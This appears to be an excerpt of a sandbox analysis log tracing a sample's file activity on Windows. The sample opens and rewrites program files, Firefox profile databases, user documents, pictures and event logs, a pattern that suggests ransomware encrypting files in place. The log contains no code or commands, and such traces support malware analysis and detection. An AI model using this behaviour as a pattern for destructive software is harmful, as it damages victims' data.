File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\cs-cz\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\cs-cz\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\cs-cz\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\fr-ma\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\fr-ma\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\fr-ma\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ro-ro\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ro-ro\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ro-ro\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\zh-tw\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\zh-tw\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\zh-tw\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\ja-jp\ui-strings.js, size = 840, size_out = 840	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\ja-jp\ui-strings.js, size = 2256	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\checkmark.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\checkmark.png, size = 618, size_out = 618	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\checkmark.png, size = 2034	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\en-gb\ui-strings.js, size = 839, size_out = 839	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\en-gb\ui-strings.js, size = 2255	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\sv-se\ui-strings.js, size = 2723, size_out = 2723	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\sv-se\ui-strings.js, size = 4139	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-Regular.otf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-Regular.otf, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-Regular.otf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-Regular.otf, size = 5512	1	Fn Data
For performance reasons, the remaining 1365 entries are omitted. The remaining entries can be found in glog.xml.

Thread 0x1178

2503

0

»

Category	Operation	Information	Count	Logfile
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Mozilla\Firefox\Profiles\w7cr0hor.default\OfflineCache\index.sqlite, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Local\Mozilla\Firefox\Profiles\w7cr0hor.default\OfflineCache\index.sqlite, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Local\Mozilla\Firefox\Profiles\w7cr0hor.default\OfflineCache\index.sqlite, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Mozilla\Firefox\Profiles\w7cr0hor.default\OfflineCache\index.sqlite, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Mozilla\Firefox\Profiles\w7cr0hor.default\OfflineCache\index.sqlite, size = 32768	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\webappsstore.sqlite, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\webappsstore.sqlite, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\webappsstore.sqlite, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\webappsstore.sqlite, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\webappsstore.sqlite, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\YFbehrau7-I.xlsx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\YFbehrau7-I.xlsx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\YFbehrau7-I.xlsx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\YFbehrau7-I.xlsx, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\YFbehrau7-I.xlsx, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\Xp8i-yDNo1to.docx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\Xp8i-yDNo1to.docx, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\Xp8i-yDNo1to.docx, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\Xp8i-yDNo1to.docx, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Click on 'Change' to select default PDF handler.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Click on 'Change' to select default PDF handler.pdf, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Click on 'Change' to select default PDF handler.pdf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Click on 'Change' to select default PDF handler.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Click on 'Change' to select default PDF handler.pdf, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Travelocity.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Travelocity.pdf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Travelocity.pdf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Travelocity.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Travelocity.pdf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\compare_poster.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\compare_poster.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\compare_poster.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\compare_poster.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\protect_poster2x.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\protect_poster2x.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\protect_poster2x.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\protect_poster2x.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\protect_poster2x.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\edit_pdf_poster2x.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\edit_pdf_poster2x.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\edit_pdf_poster2x.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\edit_pdf_poster2x.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\edit_pdf_poster2x.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\scan_poster2x.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\scan_poster2x.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\scan_poster2x.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\scan_poster2x.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\scan_poster2x.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\ftH86.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\ftH86.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\ftH86.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\ftH86.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\ftH86.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\$GetCurrent\SafeOS\SetupComplete.cmd, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\$GetCurrent\SafeOS\SetupComplete.cmd, size = 307, size_out = 307	1	Fn Data
File	Write	filename = C:\$GetCurrent\SafeOS\SetupComplete.cmd, size = 1723	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\Setup.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\588bce7c90097ed212\Setup.exe, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\Setup.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Setup.exe, size = 5512	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Setup.exe, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Key Management Service.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Key Management Service.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Key Management Service.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Key Management Service.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Key Management Service.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx, size = 61440	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx, size = 4096	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Known Folders API Service.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Known Folders API Service.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Known Folders API Service.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Known Folders API Service.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Known Folders API Service.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-SMBServer%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-SMBServer%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-SMBServer%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SMBServer%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SMBServer%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-UserPnp%4ActionCenter.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-UserPnp%4ActionCenter.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-UserPnp%4ActionCenter.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-UserPnp%4ActionCenter.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-UserPnp%4ActionCenter.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx, size = 61440	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\javacpl.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\javacpl.exe, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\javacpl.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\javacpl.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\javacpl.exe, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\pack200.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\pack200.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\screenshots@mozilla.org.xpi, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\screenshots@mozilla.org.xpi, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\COPYRIGHT, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\COPYRIGHT, size = 3244, size_out = 3244	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\COPYRIGHT, size = 4660	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\sRGB.pf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\sRGB.pf, size = 3144, size_out = 3144	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\sRGB.pf, size = 4560	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_pt_BR.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_pt_BR.properties, size = 3285, size_out = 3285	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_pt_BR.properties, size = 4701	1	Fn Data
